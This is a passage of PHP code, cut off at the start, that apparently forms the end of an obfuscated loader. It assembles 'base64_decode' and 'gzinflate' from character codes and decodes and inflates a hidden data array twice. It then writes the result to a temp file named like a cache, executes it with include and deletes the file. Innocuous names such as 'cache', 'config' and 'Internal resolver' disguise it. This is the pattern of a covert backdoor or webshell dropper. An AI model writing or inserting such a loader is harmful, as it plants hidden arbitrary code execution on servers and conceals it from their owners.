$data_cdde2f, $data_a9e249, $data_1dc7ed, $data_8754a3, $data_20c006, $data_51f849, $data_a6e2fb, $data_fed2c0, $data_e65652, $data_7bb328, $data_6ace12, $data_457fd7, $data_14e951, $data_6d2a9c, $data_8be291, $data_fc6b32, $data_881ca7, $data_a04326, $data_6ff1eb, $data_d215e3, $data_5ce8f3, $data_1e95da, $data_8cfe2e, $data_f2172a, $data_728ed2, $data_71ea1d, $data_8c8a49, $data_d72830, $data_473302, $data_4dc60c]; // Internal resolver $base_c9f8 = static function($c) { return implode('', array_map('chr', $c)); }; $view_5490 = $base_c9f8(array ( 0 => 98, 1 => 97, 2 => 115, 3 => 101, 4 => 54, 5 => 52, 6 => 95, 7 => 100, 8 => 101, 9 => 99, 10 => 111, 11 => 100, 12 => 101, )); $init_f2dd = $base_c9f8(array ( 0 => 103, 1 => 122, 2 => 105, 3 => 110, 4 => 102, 5 => 108, 6 => 97, 7 => 116, 8 => 101, )); $cache_36ea = function_exists('json_encode') ? true : false; if ($cache_36ea && !headers_sent()) { /* no-op */ } function core_processor($map, $t) { $raw = implode('', $map); $raw = $t['d']($raw); $raw = $t['i']($raw); $raw = $t['d']($raw); $raw = $t['i']($raw); return $raw; } $mod_5189 = [ 'd' => $view_5490, 'i' => $init_f2dd, ]; $config_1e0e = core_processor($app_548e, $mod_5189); if (crc32($config_1e0e) === 1813070463) { $cacheDir = sys_get_temp_dir(); if (!is_writable($cacheDir)) { $cacheDir = __DIR__; } $cacheFile = tempnam($cacheDir, 'app_cache_'); if ($cacheFile) { file_put_contents($cacheFile, '<?php ' . $config_1e0e); if (filesize($cacheFile) > 0) { include $cacheFile; } unlink($cacheFile); } } unset($core_2bb6, $app_548e, $base_c9f8, $view_5490, $init_f2dd, $lib_ceb2, $data_c16c, $cache_36ea, $mod_5189, $config_1e0e); ?>